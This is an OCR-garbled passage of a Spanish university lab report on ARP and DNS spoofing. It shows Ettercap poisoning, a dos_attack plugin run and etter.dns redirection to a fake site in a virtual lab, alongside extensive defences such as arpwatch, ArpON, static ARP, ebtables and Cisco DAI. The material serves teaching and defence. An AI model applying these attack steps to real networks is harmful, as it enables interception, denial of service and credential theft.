chk_poison: Poisoning process succesful!

llustracion 43: Plugins activado y en proceso para realizar dicho ataque.

Lo ultimo que nos faltaria por realizar es la comprobacion del ataque, comprobando que
las tablas ARP de las maquinas victimas ya fueron modificadas y procedemos a escribir

en ambas maquinas arp —a.

Windows xp.

s ystem32, cmd.exe

ssDocuments and Settings“~AdminX>arp —a

Interfa=: 122.168.56.1682 —— Bx180883

Direccidn IP Direccidn fisica Tipo
122 _168 .56 -1 Ba—B@0—-27—-@A80—A8—8a8 dinamico
122 _168.56.181 Ba—B0—-27-0—-08—-88 dinamico

=wDocuments and Settings“Admin>_

llustracion 44: Observando que ambas maquinas contienen las misma direcciones MAC en Windows.

Ubuntu server.
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rootFubuntu i shomesrodolfolf arp —a
(192 .168 .56 .102) at Qa:00:Z27:00:00:00 [etherl on ethd

(192 .168.56.1) at Qa:@Q:27:00:00: 00 [etherl on ethl
rootEubuntn i homesrodolf ol

llustracion 45: Observando que ambas maquinas contienen las misma direcciones MAC en Linux.

Podremos visualizar que la Mac Address de la Victima se encuentra envenenada y
también observaremos la IP de nuestro atacante que contiene el mismo Mac Address de

nuestra Victima.
ANALIZANDO EL TRAFICO DE LA RED CON LA HERRAMIENTA WIRESHARK.

Primeramente hay que abrir la herramienta Wireshark en la maquina atacante (Ubuntu
fisico o Backtrack) y escuchar la interfaz de red, en nuestro caso es la vboxnetO y asi

poder observar los paguetes que son enviados a la maquina infectada.

Procedemos a realizar un Ping desde cualquier maquina infectada para observar el trafico

por ejemplo:

Desde Windows: Ping 192.168.56.101.

Desde Ubuntu: Ping 192.168.56.102.
Time Source Destination Protocol  Info

60 51.310294 192.168.56.101 192.168.56.102 ICMP Echo (ping) reply
61 52.310962 192.168.56.102 192.168.56.101 ICMP Echo (ping) request
62 52.311210 192.168.56.102 192.168.56.101 ICMP Echo (ping) request
63 52.312085 192.168.56.101 192.168.56.182 ICMP Echo (ping) reply
64 52.312219 192.168.56.161 192.168.56.102 ICMP Echo (ping) reply
65 54.296393 0a:00:27:00:00:00 CadmusCo c1:4d:96 ARP Who has 192.168.56.1817 Tell 192.168.56.
66 54.296435 0a:00:27:00:00:00 CadmusCo a4:64:b8 ARP Who has 192.168.56.1827 Tell 192.168.56.
67 54.297225 CadmusCo_a4:64:b8 03:00:27:00:00:00 ARP 192.168.56.102 is at 08:00:27:a4:64:b8
68 54.297274 CadmusCo c1:4d:96 03:00:27:00:00:00 ARP 192.168.56.101 is at 08:00:27:cl:4d:96
69 54.545247 0a:00:27:00:00:00 CadmusCo c1:4d:96 ARP 192.168.56.102 is at 0a:00:27:00:00:00
70 54.545388 0a:00:27:00:00:00 CadmusCo a4:64:b8 ARP 192.168.56.101 1s at 0a:00:27:00:00:00
71 64.555752 0a:00:27:00:00:00 CadmusCo c1:4d:96 ARP 192.168.56.102 1s at 0a:00:27:00:00:00
72 64.555881 0a:00:27:00:00:00 CadmusCo a4:64:b8 ARP 192.168.56.101 1s at 0a:00:27:00:00:00

llustracion 46: Andlisis de trafico de red aplicando el ping de ambas maquinas.

De esta forma se puede realizar diferentes tipos de ataques utilizando estas herramientas
en este caso realizaremos un ataque utilizando el plugin dos_attack que contiene la
herramienta Ettercap, este plugins nos permite dejar sin uso la IP de nuestra victima y
asignarle una IP cualquiera siempre y cuando esté disponible. Utilizamos la IP de la
victima IP: 192.168.56.102.
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MName Version Info
arp_cop 1.1 Report suspicious ARP activity
autoadd A2 Automatically add new victims in the target range
chk_poisor 1.1 Check if the poisoning had success
dns_spoof 1.1 Sends spoofed dns replies
dos_attack 1.0 Run a d.o.s. attack against an IP address
3.0 A plugin template (f o SF=S U ————
1.0 Search connec a = |
2.0 Try to find et 24 g Insert victim 1P: 192 16&‘36 102
find_ig 1.0 Search an unc 4
nger 1.6 Fingerprint a r Acepiar | Cancelar
finger_submit 1.0 Submit a fingerprint € =)
gre_relay 1.0 Tunnel broker for redirected GRE tunnels

llustracion 47: Seleccionado el plugins dos_attack, para realizar ataque de Denegacion de servicio, e
insertando el ataque a la victima con IPs 192.168.56.102.

La remplazaremos por la IP 192 168 56 105

= - R T Ty pa———
chk_poison 1.1 Check if the poisoning had success

dns_spoof 1.1 Sends spoofed dns replies

dos_attack 1.0 Run a d.o.s. attack against an IP address

dummy 3.0 S plu(_:u template (g ° . ettercap Input

find_conn 1.0 Search connectio

find_ettercap 2.0 Try to find etterc “ Insert unused 1P 192.168.56.105|

find_ip 1.0 Search an unused 1P|

finger 1.6 Fingerprint a v-;’rno{el | Aceptar Cancelar |
finger_submit 1.0 Submit a fingerpnnt . .
gre_relay 1.0 Tunnel broker for redirected GRE tunnels

llustracion 48: Seleccionado el plugins dos_attack, para realizar ataque de Denegacién de servicio, con una
direccion equivocada.

Ahora visualizamos el Wireshark como esta analizando el trafico.

No. . Time Source Destination Protocol  Info
Wi WA e WL T e AW e AW [ES) Thdde e LMLV PR L 1] e W TRl
9638 B1. 832451 192. lﬁﬂ 56.182 TCP 41471 = epmap [SYN] Seq=8 Win=32767 Le

9639 B1.88 5844 [RST, ACK] Seq=1 Ack=1 ¥
9640 B1.802877 E 8.56. 2. 16 [ wicrosoft-ds = 26100 [RST, ACK] Seq=1

9641 81.883132 192.168. 58 182 TCP microsoft-ds [SYM] Seg=8 Win=:

9642 B1.8832893 192.168.56.182 TCP netbios-ssn [SYN] Seq=8 Win=3:

9643 81.883268 5 -36. 192. 1“ 56. 182 TCP epmap [SYN] Seg=0 H1n=32 Le
8358 97 . 168 1 =

26356 [RST,

ACK]

epmap > k=1

2 2 ST, ACK] :-:q—.. Ac
9646 B81.BB4866 192.168.56.1685 192.168.56.182 TCP 42495 > microsoft-ds [SYN] Seg=8 win=:
9647 B1.884142 192.168.56.165 192.168.56.182 TCP 42751 = netbios-ssn [SYN] Seg=08 Win=3:
9648 B81.884288 192.168.56.1685 192.168.56.102 TCP 43887 > epmap [SYN] Seq=8 Win=32767 Le

-BB4498 92.168. a2 192.168.56.10 Cl microsoft-ds > 2 3 [RST, ACK] Seg=1
9658 B1._8AA4893 192.153.!5_195 192.168.56.182 TCP 43263 > microsaft-ds [SYN] Sen=6 Win==

.

llustracion 49: Observando el tréfico correspondiente con la direccion errada 192.168.56.105.
Intentaremos hacer ping a la IP: 192.168.56.102 y visualizamos como se pierden los

paquetes en el transcurso del envio.

do 1o ping
—

icmp

llustracion 50: Realizando un ping a la direccion 192.168.56.102, observando que el 72% de los paquetes se
pierden.
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DEFENSA CONTRA ATAQUE ARP SPOOFING.

= DEFENSA CON ARPWATCH.

Es una herramienta de red muy simple utilizada para ver cambios sospechosos en las
direcciones IP de una red, para instalar esta herramienta hacemos lo siguiente: Apt-get
install ArpWatch y Una vez instalado se nos crea este fichero que debemos editar: nano
letc/arpwatch.conf, y dentro ponemos una linea que sera la encargada de enviarnos las

alertas al correo:

eth0 -a -n 192.168.0.22/24 -m alertas@midominio.com, reiniciamos la aplicacion:

letc/init.d/arpwatch restart

Creamos un directorio vacio para almacenar el historial de informacion del host: nano

Ivar/lib/arpwatch/arp.dat

Si queremos recibir esas notificaciones por correo de parte de arpwatch necesitamos
tener instalado un servidor de correo en nuestra maquina (postfix) o podemos verlo en los

log que estan en el siguiente directorio:

Ivar/log/syslog o /var/log/message

Cuando hay cambios en el interface Ethernet MAC/IP:

# tail -f /var/log/syslog

La salida mostrara: Nov 20 16:30:22 debian arpwatch: new station 192.168.56.102
08-00-27-a4-64-b8

Si se realizan cambios deberiamos ver algo de la siguiente manera: Nov 20 16:31:44
debian arpwatch: changed station 192.168.56.102 0a:00:27:00:00:00
(08-00-27-a4-64-b8).
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= DEFENSA CON ARPON.

ArpON es un programa que pretende asegurar ARP para mitigar ataques de tipo Man In
The Middle (MITM) mediante ARP Spoofing/Poisonig, ademas de detectar y bloquear
ataques derivados mas complejos del estilo de DHCP Spoofing, DNS Spoofing, WEB
Spoofing, Sesion Hijacking y SSL/TLS Hijacking.

Una vez instalado la activacién no es muy compleja, tendremos que editar su fichero de
configuracion (/etc/default/ArpON en Debian) para definir un algoritmo, la interfaz, el log

y fijar el inicio en el arranque.

En modo DARPI, el log nos informa de las peticiones ARP entrantes que podrian ser un

atague, su bloqueo y las peticiones veridicas.

12:12:35 - Wait link connection on wlanO...

12:12:43 - DARPI on dev (vboxnet0) inet (192.168.56.101) HW (08:00:27:c1:4d: 96)
12:12:43 - Delete these Arp Cache entries: # Al inicio se borran las entradas.
12:12:43-1) 192.168.56.100 -> 08:00:27:6B:E0: CF

12:12:43 - Cache entry timeout: 500 milliseconds.

12:12:43 - Realtime Protect actived! # Proteccion activada.

12:12:44 - Reply << Delete entry # Intentos de ARP Spoofing (entradas no veridicas).
192.168.56.1 ->0a:00:27:00:00:00

12:12:54 - Reply << Delete entry

192.168.56.1 ->0a:00:27:00:00:00

12:13:04 - Reply << Delete entry

192.168.56.102 ->0a:00:27:00:00:00

12:13:06 - Request >> Add entry 192.168.56.1 # Peticidén propia de refresco.

12:13:06 - Reply << Refresh entry 192.168.56.1 ->08:00:27:6B:EQ: CF# Entrada veridica
(respuesta dentro del timeout).

= DEFENSA CON TABLAS ESTATICAS ARP WINDOWS.

Para hacer que la tabla ARP quede persistente abrimos el bloc de notas y escribimos la

linea de comandos arp -s IP y este archivo lo guardamos no como .txt o .bat y le damos
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el nombre que queramos como por ejemplo: staticarp.bat. Una vez creado este archivo se
configura la directiva en el equipo local:

Inicio ->Ejecutar -> gpedit.msc

Ejecutar @@

= Escriba el nombre del programa, carpeta, documento o
@ recurso de Internet que desea que Windows abra.

Abrir: | 3

v

[ Aceptar J [ Cancelar ] [Examinar... ]

llustracion 51: Interfaz en Windows para poder iniciar el gpedit y configurar la arp estaticas.

Cuando se abre la ventana de Directiva de grupo, nos dirigimos a: Configuracion de
Windows -> Archivos de comandos Y hacemos clic dos veces sobre inicio.

= Directiva de grago

Asdwed Aockar  Vew Spads
ot < | B 2

X5 Couctroa Epapo bocal

e B Archevss do commandes {iniciola o
Corfigrectndd egsc ¢ e )
¥ (] Corforacdn de scftrars

= J Coodiour accn de Wasdows | Trecie

ricedew
=Y erchivon de comandes || s jJ= rigo |
* Carfigareciin de segs | THATS Crotendadns 25 -
- ] Plartdias adravrsots sl ivas

Cesripoon
Cortmre seosancies de comarcos
RO 38 CORATO

=~ &I Cofigractnds umiesa
% ) Corfousandcn de scftrears
# ] Corfoaracdn de Wandows
# ] Plartlier sdmrsctratnvas

" Extencido & Ectbrdor 7

llustracién 52: En las configuraciones de Windows damos clic en inicio.

Pulsamos el boton de Agregar, y con el botén de Examinar seleccionamos el archivo

.bat que hemos creado, por ejemplo staticarp.bat y finalmente pulsamos el botén de
Aceptar.
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= [Diraciive de srwoo
Propledades fe lnicio
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Hoardes Ol 50O 38 Corandios
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Oucw e [ Esoraw

B Soavwion _FIV_con _nolhoed S
3 2, B e L e
Droonsrwond 00 L LA _OerFe terd
- Trehator Wil dered
Vo Wt rexd

B
Eszocss Wl eraes - Dty TedrRoey

P SOV Coreral Verad
- "
[ ;

. B e

NPT

<
< 5

g rixrsxre et bt
- N s dered  Tee Tosxibor afti‘zt;

llustracion 53: Buscando el archivo bat donde se encuentran las direcciones MAC correspondiente a las direccion IP.

[ 14

Otra forma para hacer persistente la tabla ARP es escribir en la casilla de texto. Nombre
del archivo de comandos: arp, en la casilla de texto: pardmetros del archivo de
comandos: -s 192.168.1.1 ff-ff-ff-ff-ff-ff, y pulsamos el boton de Aceptar.

= Direciies du grepu

[ Propiesates se Inice

Pardored 06 0ol 3 Chive 38 Corandos
[S15216211 nenene

ll-c”nll(n-ﬁ-]
| Aocom . |

N oLy

Paarsaitm ke sschraar de comarchs pussdedar an exte
et de dreckay do 9. pesiione of Spsae botlan

| Azspte | | Cancee |

|

1 Extecdido & Estbode J

llustracion 54: Estableciendo las direccion IP y MAC a través de del comando arp en la casilla texto.
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= DEFENSA CON TABLAS ESTATICAS ARP EN LINUX.

Para hacer persistente la tabla ARP en Linux tenemos que crear un archivo .sh que es el
equivale a un archivo .BAT de MSDOS, con las diferencias siguientes: No tiene que

terminar con la extension .bat, tiene que tener permisos de ejecucion (chmod 755).

Es un archivo de texto, con una lista de comandos, que se ejecutan en el orden que estén
de forma automatica. El script que tenemos que crea y guardar con extension .sh, en el

directorio /etc/init.d/, con permisos de ejecuciéon (chmod 755 nombre_archivo.sh):

#l/bin/bash
arp -s $(route -n | awk '/70.0.0.0/ {print $2}') \ $(arp -n | grep route -n | awk '/*0.0.0.0/
{print $2}' | awk '{print $3}")

Este archivo lo podemos crear por ejemplo con gedit y lo guardaremos con el nombre de
staticarp.sh, una vez creado lazaremos los siguientes comandos:

Cambiamos los permisos y le damos permiso de ejecucion:

ubuntu@rodolfo:~/Escritorio$ sudo chmod 755 staticarp.sh
ubuntu@rodolfo:~/Escritorio$ Is -l staticarp.sh

-rwxr-xr-x 1 rodolforodolfo 138 2011-03-31 19:20 staticarp.sh

Cambiamos el propietario y el grupo del archivo:
ubuntu@rodolfo:~/Escritorio$ sudo chown root: root staticarp.sh
ubuntu@rodolfo:~/Escritorio$ Is -l staticarp.sh

-rwxr-xr-x 1 root root 138 2011-03-31 19:20 staticarp.sh

Y lo movemos (mv) o copiamos (cp) al directorio /etc/init.d:

ubuntu@rodolfo:~/Escritorio$ sudo mv staticarp.sh /etc/init.d/

Una ver realizados estos pas0, creamos las referencias con el siguiente comando:
ubuntu@rodolfo:~/Escritorio$ sudo update-rc.d staticarp.sh default, y a si obtenemos

tabla ARP estéatica en Linux.
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= DEFENSA CON IPTABLES.
Paquetes Salientes.
#Aceptamos que los equipos clientes sélo puedan realizar consultas WEB (También para
acceso a DMZ)
Iptables -A FORWARD -s 192.168.0.0/24 -i ethO —p tcp —d port 80 -j ACCEPT
#Aceptamos que vayan por https
Iptables -A FORWARD -s 192.168.0.0/24 -i ethO —p tcp —d port 443-j ACCEPT
#Aceptamos que nuestro servidor pueda realizar consultas WEB
Iptables -A FORWARD -s 172.16.0.0/24 -i eth2 -p tcp —d port 80 -] ACCEPT

Observamos que en todas se especifica la red I[P origen, por lo que

ninguna direccibn que no pertenezca a ese rango podra acceder al exterior.

Paquetes entrantes.

#Todo lo que venga por el exterior y vaya al puerto 80 lo redirigimos a nuestro servidor
WEB

Iptables -t Nat -A PREROUTING -i ethl —p tcp —d port 80 -j DNAT --to 172.16.0.2:80

Contra Spoofing.

#Proteccién contra ataques de SPOOFING

Iptables -A FORWARD -i ethl -p all -s 192.168.0.0/24 -j DROP
Iptables -A FORWARD -i ethl -p all -s 172.16.0.0/24 -j DROP
Iptables -A FORWARD -i ethl -p all -s 127.0.0.0/8 -j DROP

» DEFENSA CON KERNEL ANTI-SPOOFING.
Por ultimo, existe una proteccion contra ataques de Spoofing en el mismo Kernel, para
activarlo, tenemos que editar el fichero /etc/network/options o el /etc/sysctl y
modificamos el siguiente parametro: net.ipv4.conf.all.rp_filter = X.
Y toma los valores:
0 —No realiza comprobaciones.

1 —Rechaza suplantaciones evidentes.
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2 —Comprobacién exhaustiva.

= DEFENSA CON PORT SECURITY.
Para habilitar las caracteristica del comando.
Switch (config)# interface type mod/num
Switch (config-if)# switch port port-security

Una vez activado, por defecto Solo permite una direccion MAC, por lo que si queremos

habilitar mas debemos indicarlo con este comando:

Switch (config-if) # switch port port-security maximummax-addr

Un dato a tener en cuenta es que cuando se activa port-security las direcciones de MAC
no expiran como lo harian por defecto, si queremos que expiren debemos configurar el

comando (minutos puede ser de 1 a 1440 minutos):

Switch (config-if) # switch port port-security aging time minutos

También podemos definir estaticamente direcciones MAC que pueden transmitir trafico

por el interface usando el comando:

Switch (config-if)# switch port port-security mac-addressmac-addr

Por ultimo debemos especificar qué accion se debe tomar en caso de que se supere el
namero de direcciones MAC permitidas o que se aprende una direccion MAC no definida

estaticamente, con el siguiente comando:

Switch (config-if) # switch port port-security violation {shutdown | restrict | protect}

Con el siguiente comando conseguimos que las MACs aprendidas dinamicamente se

conviertan en MACs seguras pegadas (sticky) y son afiadidas a la running config:

Switch (co-nfig-if) # switch port port-security mac-address sticky
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En caso de que queramos limpiar la (s) MAC(s) de un interface para poder permitir otra

MAC podemos usar este comando a nivel de direccion MAC o de interface:

Switch# clear port-security dynamic [addressmac-addr| interface type mod/num]

Para ver el estado de una interface usaremos el comando:

Switch# show port-security interface type mod/num

Para ver un resumen rapido solo de interfaces que estdn en modo irrisible, podemos usar

el comando:

Switch# show interfaces status err-disabled

= DEFENSA CON DYNAMIC ARP INSPECTION.

Para configurar Dynamic ARP Inspection debemos primero habilitarlo en una o mas
VLANS con el siguiente comando:

Switch (config)# ip arp inspection vlan vlan-range

Por defecto todas las interfaces asociadas a las VLANs configuradas para inspeccionar
son consideradas de no confianza por lo que se inspeccionan, si queremos gue una
interface no sea inspeccionada y por lo tanto considerada como de confianza (enlace

contra otro switch por ejemplo) debemos configurar la interface de la siguiente forma:

Switch (config) # interface type mod/num

Switch (config-if) # IP Arp inspection trust

En caso de que haya clientes (hosts) con direcciones IP configuradas estaticamente no
habra intercambio de mensajes DHCP donde se pueda inspeccionar, por lo que
deberemos configurar una lista de acceso ARP definiendo la union de IP MAC que

permitimos. Para ello usaremos estos comandos:

Switch (config)# arp access-listarp-acl-name
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Switch (config-ac)# permit ip host sender-ipmac host sender-mac [log]

Switch (config-acl)# exit

Debemos repetir el comando permite tantas veces como IP-MAC tengamos o queramos
definir.
Una vez definida la lista de acceso tenemaos que aplicarla a Dynamic ARP Inspection

usando el comando:

Switch (config) # ip Arp inspection filter arp-acl-name vlan vlan-range [static]

Por defecto solo se validan las direcciones IP y MAC que se contienen en la respuesta
ARP, por lo que la direccion MAC contenida en la cabecera Ethernet no se mira. Para
validar que un pagquete de respuesta ARP viene desde la direccion listada dentro de él,

podemos habilitar la validacién de Dynamic ARP Inspection con este comando:

Switch (config)# ip arp inspection validate {[src-mac] [dst-mac] [ip]}

= DEFENSA CON DAI EN SWITCH CATALYST CISCO.

Switch A # configure terminal
Introduzca los comandos de configuracién, uno por linea. Terminar con CTRL/ Z.
SwitchA (config) # ip arp inspeccion vlan 10
SwitchA (config) # interface gigabit Ethernet 1/1
SwitchA (config-if) # ip arp inspeccién confianza
SwitchA (config-if) # end
SwitchA #
SwitchB # configure terminal
Introduzca los comandos de configuracion, uno por linea. Terminar con CTRL/ Z.
SwitchB (config) # ip arp inspeccion vilan 10
SwitchB (config) # interface gigabit Ethernet 1/1
SwitchB (config-if) # ip arp inspeccion confianza
SwitchB (config-if) # end
SwitchB #
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SwitchA # show ip interfaces de inspeccién arp

Interfaz de Estado Trust (pps) Intervalo de rafaga

Ninguno Gil /1 alquileren N/ A

Gil/ 2 no son de confianza 15 1

Fa2 /1 no es de confianza 15 1

Fa2 /2 no son de confianza 15 1

Fa2 / 3 no son de confianza 15 1

Fa2 /4 no es de confianza 15 1

SwitchA # show ip arp inspeccion vlan 10
Fuente Mac Validacion: Desactivado
Destino Mac Validacion: Desactivado
Validacion de direccion IP: Desactivado

Operacion de configuracion de VLAN ACL Partido estéatico ACL

10 Habilitado Activo
Vlan ACL Registro de registro de DHCP

10 Deny Deny

SwitchA #

SwitchA # show ip vinculante Snooping DHCP

MacAddress Direccion IP de arrendamiento (s) Tipo de interfaz VLAN

00:01:00:01:00:01 10.10.10.1 4995 Dhcp snooping-10
FastEthernet2 / 1
SwitchB # show ip interfaces de inspeccién arp

Interfaz de Estado Trust (pps) Intervalo de rafaga

Ninguno Gil / 1 alquileren N/ A
Gil/ 2 no son de confianza 15 1
Fa2 /1 no es de confianza 15 1

Fa2 / 2 no son de confianza 15 1
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Fa2 / 3 no son de confianza 15 1

Fa2 /4 no es de confianza 15 1

SwitchB # show ip arp inspeccion vlan 10

Fuente Mac Validacion: Desactivado

Destino Mac Validacion: Desactivado

Validacion de direccion IP: Desactivado

Operacion de configuracion de VLAN ACL Partido estético ACL

10 Habilitado Activo
Vlan ACL Registro de registro de DHCP

10 Deny Deny
SwitchB #
SwitchB # show ip vinculante Snooping DHCP

MacAddress Direccién IP de arrendamiento (s) Tipo de interfaz VLAN

00:02:00:02:00:02 10.10.10.2 4995 dhcp-snooping FastEthernet2 10/2

= DEFENSA CON EBTABLES.
Ebtables -A FORWARD -p ARP --arp-op code 2 -i ! vlan3 -j DROP

Ebtables -t nat -A PREROUTING -p ARP --arp-opcode 1 -s ! MAC_SERVIDOR -d
ff:ff.ff.ff.ff.ff -j dnat --to-destination MAC_SERVIDOR

Ebtables -t nat -A PREROUTING -p ARP --arp-opcode 1 -s | MAC_SERVIDOR -d !
ff.ff.ff.ff.ff.ff -j dnat --to-destination MAC_SERVIDOR

De estas reglas la primera es la que nos permite bloquear, las tramas ARP con cédigo de
operacion 2 o todas las respuestas ARP, menos las que provengan de la interface vlan3
debido a que en esa interface es donde se va a conectar el servidor que va a generar

todas las respuestas ARP. Por ultimo estan las dltimas dos reglas que son las que
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reenvian todas las consultas ARP hacia el servidor para que se encargue de
responderlas.

Ahora la ultima cosa que debemos asegurar en el servidor para que la solucion sea
segura es bloquear el paso de consultas ARP falsificadas hacia el servidor debido a que
como este es el que ahora contesta a todas las peticiones ARP de la red tenemos que
evitar que sea envenenado. Para lograrlo hacemos uso de la siguiente regla:

Arptables -A INPUT --opcode 1 -j DROP

* OTROS MECANISMO.
ARPALERT: Previene conexiones a la red de MACs que no esté autorizadas y puede

correr Scripts al detectarlas.

SNORT: EIl tan famoso programa de deteccion de intrusos basicamente este programa

analiza el trafico de la red y se basa en reglas para analizarlo.

Plugin ettercap.
Find_ettercap: Trata de identificar paquetes ettercap en la red, se basa en nimeros de

identificacién o consecuencia por lo tanto no es muy fiable.

Scan_Poisones: Brinda una lista de host chequea si dos pc tiene la misma MAC, luego
envia paquetes ICMP echo, si la Mac de la respuesta difiere de la IP que tenemos en
nuestra lista podemos estar frente a una pc que esta haciendo Forwarding de ese paquete

que se va a la pc infectada devuelta hacia nosotros.

= DEFENSA CON DECAFFEINATAID (IDS).
Esta herramienta IDS puede ser configurada para monitorear toda actividad de ARP

chache, default Gateway, Windows Firewall Log, Security Event Log y Reverse DNS IPS.
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v ARP Cache ’ G Mo

v Default Gateways % Edit Settings in INI
v Windows Firewall Log

.] View logs
v Security Event log
" v Reverse DNS IPs &) Update..
> ) About

@ Exit

llustracion 55: Propiedades que se pueden activar con la herramienta DecaffeinatalD.

Y sobre todo poder observar los log o actividades que se producen con la opcién View
Logs.

B idslog - Bloc de notas

20130111054033: mew IP in cache: 19%2.168.56.1 with mac of 0a-00-27-00-00-00 -
20130111054154: Mew IP in cache: 0a-00-27-00-00-00 with maC of din mico

20130111054154: New IP in cache: 192.168.56,102 with MAC of 0a-00-27-00-00-00

20130111054154: New IP in cache: din mico with MAC of 162.168.56.100

20130111054431: Mew IP in cache: 19%2,168,56.100 with mac of 0a-00-27-00-00-00

20130111054433: 1P din mico changed mAC from 192,168, 56,100 To 192,168, 56.102

| Monitor »
“§ Edit Settings in NI

a Vle“ogs

&J Update .

@) About.

R "' —————— == ° DL =
llustracion 56: Mirando los LOGS de las actividades detectadas en la realizacién del ataque arp Spoofing.
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ATAQUE
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11.2 PRACTICA: DNS SPOOFING.

Introduccion.

En esta practica se pretende simular el ataque Dns Spoofing el cual se implementara en
un entorno de maquinas virtuales con la herramienta VIRTUALBOX donde se contara
maquinas Linux y Windows para realizar el ataque haremos uso de la herramienta
Ettercap. El método denominado DNS Spoofing hace referencia a la técnica de suplantar
la identidad IP por un nombre de dominio DNS, o viceversa.

Basandose en algun tipo de vulnerabilidad de un servidor, 0 bien a través de servidores
poco confiables, el virus falsea las entradas del Nombre de dominio e IP de un servidor
DNS, mediante lo cual logra su cometido, que no es otro que infectar el caché DNS de
otro servidor diferente, lo que se conoce como DNS Poisonig, es decir envenenamiento
de DNS.

Objetivos.

Utilizar herramientas de virtualizacion para simular el ataque.

Implementar el ataque DNS Spoofing en una red virtual.

Hacer uso de herramientas Ettercap y dns_spoof

Explicar en qué consiste el atague DNS Spoofing y cuales son sus efectos en una red.

Dar a conocer soluciones para contrarrestar el ataqgue DNS Spoofing en una red.

Requerimientos para la realizacién de la practica.

Tener instalado algin programa de virtualizacién por ejemplo Virtual Box.
Tener instalado un el sistema operativo Backtrack 5.
Contar con maquinas virtual que seran la victima por ejemplo: Windows server,

Windows xp.

Desarrollo

DNS Spoofing: Todas las consultas DNS que se envian a través de la red contienen un
namero de identificacion Unico generado con el propésito de identificar las preguntas y

respuestas y atarlas. Esto significa que si nuestro equipo atacante puede interceptar una
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consulta DNS enviada desde un dispositivo destino, todo lo que tenemos que hacer es
crear un paquete falso que contiene ese niumero de identificacion a fin de que el paquete

sea aceptado por ese objetivo.

Escenario donde se implementara el ataque.

Vamos a completar este proceso haciendo dos pasos con una sola herramienta. En
primer lugar, vamos a envenenar la caché ARP del dispositivo de destino para redirigir su
trafico a través de nuestra maquina atacante para poder interceptar las peticion DNS, a
continuacion, que en realidad le enviara el paquete falso. El objetivo de este escenario es
para que los usuarios de la red de destino accedan a nuestro sitio web malicioso en lugar

de la pagina web que esta intentando acceder.

Gateway

‘ SWItch Cisco

192.168.0.1

l

\/

Cliente

192.168.0.150
DNS Server

192.168.0.5 Maguing

Virtual

Web Server
False

192.168.0.172

Dig $PO0fing

llustracion 57: Escenario a desarrolla aplicando ataque DNS Spoofing.

DNS Spoofing es una técnica MITM utilizada para suministrar informacion falsa a un host

DNS para cuando se intenta examinar, por ejemplo el sitio www.xolo.com.ni

200.100.64.100 direccion IP que se envien en una falsa www.jose.com.ni 192.168.0.172

direccion IP que el atacante ha creado con el fin de robar las credenciales de banca en

linea e informacién de cuentas de usuarios desprevenidos.
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Herramientas Usadas.

Ettercap: Hay algunas herramientas diferentes disponibles que se pueden utilizar para
llevar a cabo la falsificacion de DNS. Vamos a utilizar Ettercap, que tiene versiones en

Windows y Linux.

Ettercap es su ndcleo es un sniffer de paquetes que utiliza varios plug-in para hacer los
diversos ataques que puede realizar. El dns_spoof plug-in es el que va a hacer el
atague en este ejemplo. Plugin dns_spoof: Haciendo uso de Ettercap se captura el
trafico del equipo victima y con la ayuda del plugin dns_spoof vamos a re direccionarlo a

un sitio distinto al que esta solicitando.

Backtrack 5 atacante (Estacién Virtual).

llustracion 58: Estacion virtualizada con Backtrack Version 5.

Windows Server 2003 Servidor Web 1IS (Estacién Virtual).

y
Mig ’ ,
Windows Server 2003

llustracion 59: Estacion virtual con Windows Server 2003.

Windows XP Cliente (Estacion Virtual).

Windows™?

Professional

llustracion 60: Estacion virtual con Windows Xp.
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Desarrollo del ataque.

Realizando el ataque.

Victima realiza la peticion al sitio www.xolo.com.ni

La peticion es capturada por el atacante (MITM+dns_spoof).

Ettercap verifica en archivo etter.dns la peticion xolo.com.ni

A w0 D oPF

Ettercap redireccién la peticion www.xolo.com.ni al sitio 192.168.0.172

(www.jose.com.ni).

MAQUINAS:

192.168.0.150 es la maquina victima Windows XP (Virtual Box Workstation),
192.168.0.149 es la maquina atacante a Backtrack 5 (Virtual Box Workstation) vy
192.168.0.1 es el Gateway.

PROCESO:

=

Maodificar el archivo etter.dns ubicado en /usr/share/ettercap.
2. Levantar nuestro servidor http (lIIS) para recibir la peticion del equipo victima y

mostrar nuestro sitio en vez del verdadero.

w

Hacer MITM “Victima < — > Atacante < — > Gateway”.

»

Cargar el plugin dns_spoof.

Demostracién del proceso.

1. Modificar el archivo etter.dns ubicado en /usr/share/ettercap

Nos colocamos en la ruta /usr/share/ettercap y procedemos a configurar el fichero
etter.dns aqui es donde pondremos la direccibn web que queremos hackear y la
direccion IP que responderd al sitio visitado por el cliente en este caso pondremos la IP de
mi servidor Web 1IS en Windows Server 2003 y este respondera a la solicitud hecha por el

cliente.

Direccion www.xolo.com.ni

Unan-Leén Pagina 155




Practicas DNS Spoofing.

IP 192.168.0.172

Nota: La siguiente imagen muestra el fichero etter.dns
=

File Edit View ookm Settings Help

root: nano <=2>

GNU nano 2.2.2 /usr/share/ettercap/etter.dns Modified I =

ify a plain

Wildcards in PTR are not allowed

WriteOut Le ’rev Cut Text d
Justify 8IS Nex t UnCut Text

llustracion 61: Modificando elarchivo Etter.dns y estableciendo las resoluciones.

2. Levantar nuestro servidor http (lIS) para recibir la peticiéon del equipo victima y
mostrar nuestro sitio en vez del verdadero.

En este caso estamos trabajando con Windows server 2003 donde tenemaos corriendo IS
ahi se encuentra la pagina que se le mostrara a la victima cuando el ponga en su

navegador www.xolo.com.ni. Aqui tenemos una pagina web ya subida en el servidor 1S

como podemaos observar el fichero index.html es el que se ejecutara al poner la victima la
URL que quiere visitar.

58 Internet Information Seryices {(II5) Manager - |E' |i|

[ File Action Yiew ‘Window  Help |_|ﬁl|5|

e = B X & BE(2(2]r = 0

3 Internet Information Services | | Mame, [Path | status =

= o 1 PEMSA-IOSE (local compuk @ _wri_bin
[+ application Paols

= web Sites

8 Sitio Web

+- g _ti_bin

- aspnet_client

| images

Microsoft ShareFoi

web Service Extensior

ZProgram FileshCommon FilesiMicr . .,
__J aspnet_client
__limages

| Ananymity . hkml

| drchives. hkml

| Cornrnercialhkml

| Favicon.ico

| Hardweare . html

Help. htrml

| Information. html
| Online Toals. hkml
| Passwords, hkml

| stwle.css

llustracion 62: Verificando la pagina que encuentra cargada en el servidor 1IS.
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Esta es la pagina alojada en el servidor web IIS.

¥2) welcome To Backtrack 5 - Commercial - Mogzilla Firefox ] 151 x|
archivo Editar Ver Historial Marcadores Herramientas Ayuda %
} B vwelcome To Backtrack S - Commercial l ==
< 192.165.0.149 ‘ [ 2@ - cooale 2| &

“ The quieter y

Welcome, to Back | Track 5

the more you

COMMERCIAL INFORMATION ONLINE TOOLS ARCHIVES ANONYMITY PASSWORI

Professional Tra/iining and Tools for Seiurity Specialists k !
OEEENSIUER g
